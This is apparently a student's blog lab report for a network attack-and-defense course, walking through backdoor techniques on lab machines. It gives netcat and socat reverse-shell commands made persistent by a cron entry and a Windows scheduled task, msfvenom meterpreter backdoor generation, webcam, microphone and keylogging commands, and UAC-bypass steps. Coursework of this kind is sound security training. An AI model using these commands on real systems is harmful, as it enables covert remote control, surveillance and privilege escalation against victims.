20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门介绍
  • 后门概念:不经过正常认证流程而访问系统的通道
  • 后门类型:编译器、操作系统、应用程序中的后门,潜伏于OS或伪装成APP的后门程序
1.1.2 后门案例
  • 编译器后门:Xcode
  • 操作系统后门:shellshock
  • 固件后门:BIOS中隐藏Telnet后门、打印机后门
  • 硬件后门:Meltdown漏洞(CPU漏洞)
  • 应用程序后门:旧版本的华硕软件、SolarWinds旗下的Orion网络监控软件、Log4shell漏洞
1.1.3 后门技术
  • 管控功能实现技术
  • 自启动技术
  • 进程隐藏技术

1.2 实验任务

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    非正规渠道下载Photoshop。
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    windows下设置任务计划,linux下设置cron。
  • Meterpreter有哪些给你映像深刻的功能?
    能获取目标主机的shell,能启用目标主机的摄像头并传回拍摄的照片,能启用目标主机的录音器并传回录制的音频,能获取目标主机的击键记录,能在一定情况下提升在目标主机中的权限。
  • 如何发现自己有系统有没有被安装后门?
    查看进程,抓包分析,专业杀毒软件扫描,查看任务计划表。

3.实验过程

3.1 设置linux的cron,windows使用netcat获取linux的Shell

  • 在不设置linux的cron的情况下,windows使用netcat获取linux的Shell
    使用反弹连接:攻击者windows设置监听端口,被害主机linux发起请求并将标准输入输出重定向到该端口
    • 攻击者windows设置监听端口
      ncat -l -p 2420 # ncat代表netcat;-l代表监听;-p代表端口,其后为端口号
    • 被害主机linux发起请求
      nc 192.168.1.114 2420 -e /bin/sh # nc代表netcat,其后为攻击者的IP和监听端口;-e代表指定一个程序来执行,该程序的标准输入、输出和错误输出将被重定向到网络连接上,其后为指定的程序
    • 结果:通过以上配置,在不设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
  • 在设置linux的cron的情况下,windows使用netcat获取linux的Shell
    • 攻击者windows设置监听端口
      ncat -l -p 2420 # ncat代表netcat;-l代表监听;-p代表端口,其后为端口号
    • 被害主机linux设置cron,定时发起请求
      • crontab -e # (创建并)打开crontab文件,其用于定义定时任务
      • 选择vim.basic编辑器
      • 在文件的最下面添加一行crontab条目
        敲击i以进入编辑模式,敲击ESC退出编辑模式,在查看模式下输入:wq以保存并退出。
        * * * * * nc 192.168.150.1 2420 -e /bin/sh # 第一个代表每分钟,第二个代表每小时,第三个代表每日,第四个代表每月,第五个代表不分星期几;每个均可以替换为具体的时间。其后跟着被害主机linux发起请求的命令。
    • 结果:通过以上配置,在设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
      虽然linux上并未有反应但windows已经获取了linux的Shell

3.2 设置windows的任务计划,linux使用socat获取windows的Shell

  • 在不设置windows的任务计划的情况下,linux使用socat获取windows的Shell
    使用反弹连接:攻击者linux设置监听端口,被害主机windows发起请求并将标准输入输出重定向到该端口
    • 攻击者linux设置监听端口
      socat TCP-LISTEN:2420 - # TCP-LISTEN:代表监听TCP连接,其后为端口号。最后的-不能少
    • 被害主机windows发起请求
      \Users\86199\Desktop\socat\socat\socat.exe exec:cmd.exe,pty,stderr TCP:192.168.150.172:2420 # 将cmd.exe的输入输出重定向到192.168.150.1的2420端口
    • 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。
  • 在设置windows的任务计划的情况下,linux使用socat获取windows的Shell
    • 攻击者linux设置监听端口
      socat TCP-LISTEN:2420 - # TCP-LISTEN:代表监听TCP连接,其后为端口号
    • 被害主机windows设置任务计划,定时发起请求
      • 打开“计算机管理”->“系统工具”->“任务计划程序”,点击“创建任务”
      • 在“触发器”下设置触发时间,在“操作”下设置软件和参数,最后点击确定
        参数为exec:powershell.exe,pipes TCP:192.168.150.172:2420

    • 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。

3.3 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到windows并运行,获取windows的Shell

  • 攻击者linux下使用命令msfvenom生成一个.exe格式的后门程序
    被害主机windows执行该程序时发起请求,连接到LHOST指定的IP和LPORT指定的端口
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe # -p代表有效载荷类型,以确定用途;LHOST、LPORT代表监听者即攻击者的IP地址、端口;-f代表输出格式;>将msfvenom命令的输出重定向到一个名为20222420_backdoor.exe的文件
  • 使用netcat将后门程序发送到Windows
    windows监听(使用cmd)并将数据保存:ncat -l -p 2420 > \Users\86199\Desktop\20222420_backdoor.exe
    linux请求并将数据发送:nc 192.168.1.101 2420 < 20222420_backdoor.exe
  • 攻击者linux使用MSF监听
    msfconsole
    use exploit/multi/handler # 进入监听模块
    set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
    set LHOST 192.168.150.172 # 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
    set LPORT 2420 # 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
    exploit
  • 被害主机windows运行后门程序,被获取shell

3.4 利用后门,使用MSF meterpreter获取windows的录音、摄像功能和击键记录,并尝试提权

  • 获取被害主机windows的录音功能
    record_mic -d 5 # -d 5代表录制5秒
  • 获取被害主机windows的摄像功能
    webcam_snap
  • 获取被害主机windows的击键记录
    keyscan_start # 开始记录键盘敲击记录
    keyscan_dump # 显示捕捉到的键盘记录信息
    keyscan_stop # 停止记录键盘敲击记录
  • 提升在被害主机windows中的权限
    提权命令为getsystem,但因Windows的UAC(用户账户控制)阻止程序执行有关系统更改的任务而无法成功。在shell下输入whoami可知当前为普通用户
    • 方法一,被害主机windows主动以管理员身份运行后门程序

    • 方法二,使用exploit/windows/local/ask模块,向windows询问权限
      background # 将连接会话放到后台
      use exploit/windows/local/ask # 使用请求模块
      set session 1 # 表示接下来的操作将针对编号为1的会话(即background的会话)进行
      set FILENAME WindowsUpdater.exe # 将显示的请求者设置为WindowsUpdater.exe
      run # 运行,将在windows中弹出请求


      被害者点击“是”后,攻击者便可以提升权限了
    • 方法三,通过FodHelper注册表项,使用exploit/windows/local/bypassuac_fodhelper模块
      use exploit/windows/local/bypassuac_fodhelper
      set session 1
      run
      然后提权便能成功

3.5 使用MSF meterpreter生成shellcode,注入到实验1的pwn1,获取反弹连接Shell

因为pwn1是elf格式的可执行文件只能在Linux上执行,所以决定用linux攻击linux。

  • 在攻击者下使用MSF meterpreter生成shellcode,注入到实验1的pwn1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -x pwn1 -f elf > pwn2-20222420

  • 攻击者使用MSF监听,被害者运行被注入后的文件,获取被害主机的shell
    msfconsole
    use exploit/multi/handler # 进入监听模块
    set payload linux/x86/meterpreter/reverse_tcp # 设置攻击载荷为32位Windows的反弹TCP连接
    set LHOST 192.168.150.172 # 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
    set LPORT 2420 # 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
    exploit
    再开一个终端或一个kali虚拟机,运行被注入后的文件,结果如下,攻击成功

4.问题及解决方案

  • 问题1:第二部分windows主动连接到攻击者linux后弹窗并显示警告。
  • 问题1解决方案:经过尝试,发现并不影响linux获取windows的shell。
  • 问题2:将后门传输到windows后发现无法运行。
  • 问题2解决方案:经过查询发现是因为windows通过powershell接收后相对原文件有变化,改用cmd终端接收后就正常了。
  • 问题3:第四部分尝试提权时发现无法通过exploit/windows/local/bypassuac_injection模块进行内存注入。
  • 问题3解决方案:通过报错信息知晓这一模块对于windows10以上的系统不适用,于是改用注册表项绕过Windows UAC保护。

5.学习感悟、思考等

从使用netcat和socat获取主机操作Shell,到利用cron和任务计划启动自定义任务,再到使用MSF meterpreter生成后门并执行各种功能,这一系列操作不仅让我对网络安全攻击手段有了更直观的认识,也提升了我的实战技能。在实验过程中,我遇到了不少挑战,但通过网上大量的资料,我成功解决了遇到的问题并学习到了更加丰富的知识。
通过这次实验,我深刻认识到了网络安全的重要性和复杂性。网络攻击者可以利用各种手段和技术来攻击我们的系统,窃取我们的信息,控制我们的摄像头、录音器等,甚至还能提升自己的权限。同时,我也深刻体会到了学习和实践的重要性。在面对网络安全时,仅仅依靠书本上的理论知识是远远不够的,必须通过实践来加深对知识的理解,通过实战来锻炼自己的技能。

参考资料

posted @ 2024-10-21 20:28  SAltria  阅读(13)  评论(0编辑  收藏  举报